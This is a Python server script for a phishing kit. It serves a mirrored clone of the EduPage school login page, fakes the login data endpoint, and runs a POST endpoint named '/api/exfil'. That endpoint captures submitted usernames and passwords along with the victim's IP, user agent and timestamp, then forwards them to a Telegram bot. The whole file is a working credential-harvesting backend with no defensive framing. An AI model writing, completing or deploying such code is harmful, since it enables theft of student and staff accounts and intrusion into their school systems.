import http.server
import os
import posixpath
import urllib.parse
import json
import threading
import logging
from urllib.request import Request, urlopen
from datetime import datetime

# Configuration via environment variables
BASE_DIR = os.getenv("BASE_DIR", os.path.dirname(os.path.abspath(__file__)))
MIRROR_DIR = os.path.join(BASE_DIR, "login1.edupage.org")

TG_BOT_TOKEN = os.getenv("TG_BOT_TOKEN", "")
TG_CHAT_ID = os.getenv("TG_CHAT_ID", "")
VPS_PORT = int(os.getenv("PORT", "8089"))

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[
        logging.StreamHandler(),
        logging.FileHandler(os.path.join(BASE_DIR, "server.log"))
    ]
)
logger = logging.getLogger(__name__)

def send_to_telegram_async(text):
    if not TG_BOT_TOKEN or not TG_CHAT_ID:
        logger.warning("Telegram credentials not configured, skipping notification")
        return
    
    def _send():
        try:
            url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage"
            data = json.dumps({
                "chat_id": TG_CHAT_ID, 
                "text": text, 
                "parse_mode": "HTML"
            }).encode()
            req = Request(url, data=data, headers={"Content-Type": "application/json"})
            urlopen(req, timeout=10).read()
            logger.info("Telegram notification sent successfully")
        except Exception as e:
            logger.error(f"Failed to send Telegram notification: {e}")
    
    threading.Thread(target=_send, daemon=True).start()

class OfflineEduPageHandler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, directory=BASE_DIR, **kwargs)
    
    def log_message(self, format, *args):
        logger.info("%s - %s", self.address_string(), format % args)
    
    def do_POST(self):
        parsed = urllib.parse.urlsplit(self.path)
        if parsed.path == "/api/exfil":
            self._handle_exfil()
            return
        # Fallback to GET for any other POST
        return self.do_GET()
    
    def _handle_exfil(self):
        length = int(self.headers.get("Content-Length", 0))
        raw = self.rfile.read(length).decode() if length else "{}"
        try:
            payload = json.loads(raw)
        except json.JSONDecodeError:
            payload = {}
        
        username = payload.get("username", "")
        password = payload.get("password", "")
        extra = payload.get("extra", {})
        
        # Add request metadata
        extra["ip"] = self.client_address[0]
        extra["user_agent"] = self.headers.get("User-Agent", "")
        extra["timestamp"] = datetime.utcnow().isoformat() + "Z"
        
        text = (
            f"🎯 EduPage Login Capture\n"
            f"👤 User: {username}\n"
            f"🔑 Pass: {password}\n"
            f"📎 Extra: {json.dumps(extra, ensure_ascii=False)}\n"
            f"⏰ {extra['timestamp']}"
        )
        
        send_to_telegram_async(text)
        
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(b'{"ok":true}')
    
    def do_GET(self):
        parsed = urllib.parse.urlsplit(self.path)
        # Mock endpoint for MainLogin React component
        if parsed.path == "/index339e.html" and "cmd=MainLogin" in parsed.query and "akcia=getData" in parsed.query:
            self._handle_mainlogin_getdata()
            return
        return super().do_GET()
    
    def _handle_mainlogin_getdata(self):
        # Return mock data that MainLogin React component expects
        mock_data = {
            "school_id": "login1",
            "school_name": "aSc EduPage",
            "school_full_name": "aSc EduPage",
            "school_address": "",
            "school_logo": "/global/pics/skins/logo/logo11.png?s=m&a=1x1",
            "qrloginenabled": True,
            "csrftoken": "",
            "request_code": "0000000000000000000000000000000000000000",
            "storedUsers": [],
            "ssoLogins": []
        }
        body = json.dumps(mock_data).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        if self.command != "HEAD":
            self.wfile.write(body)
    
    def do_HEAD(self):
        parsed = urllib.parse.urlsplit(self.path)
        # Handle HEAD for mock data endpoint
        if parsed.path == "/index339e.html" and "cmd=MainLogin" in parsed.query and "akcia=getData" in parsed.query:
            self._handle_mainlogin_getdata()
            return
        return super().do_HEAD()
    
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()
    
    def translate_path(self, path):
        parsed = urllib.parse.urlsplit(path)
        clean_path = posixpath.normpath(urllib.parse.unquote(parsed.path))
        rel_parts = [p for p in clean_path.split("/") if p and p not in (".", "..")]
        
        base_target = os.path.join(BASE_DIR, *rel_parts)
        if not rel_parts or clean_path in ("/", "/index.html"):
            return base_target
        
        if os.path.exists(base_target):
            return base_target
        
        mirror_target = os.path.join(MIRROR_DIR, *rel_parts)
        if os.path.exists(mirror_target):
            return mirror_target
        
        return base_target

if __name__ == "__main__":
    logger.info(f"Starting server on 0.0.0.0:{VPS_PORT}")
    logger.info(f"Base directory: {BASE_DIR}")
    logger.info(f"Mirror directory: {MIRROR_DIR}")
    logger.info(f"Telegram configured: {'Yes' if TG_BOT_TOKEN and TG_CHAT_ID else 'No'}")
    
    http.server.ThreadingHTTPServer(("0.0.0.0", VPS_PORT), OfflineEduPageHandler).serve_forever()